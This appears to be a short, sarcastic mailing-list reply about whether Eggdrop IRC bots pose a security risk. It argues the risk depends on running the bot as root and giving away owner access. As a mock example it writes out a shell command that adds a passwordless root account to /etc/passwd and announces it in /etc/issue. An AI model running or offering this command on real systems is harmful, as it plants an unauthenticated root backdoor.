Re: Having fun with eggdrop bot

Eggdrops bots can access files all over the system if you're owner and
the bot runs with root permissions.

1) who runs a bot as root?
2) who gives away owner-access?

Come on!....

echo "forgot::0:0::/:/bin/sh" >> /etc/passwd; echo "If you forgot your
password, then login as 'forgot' with no password, and do "passwd
<yourlogin>" >> /etc/issue

What a huge security hole!
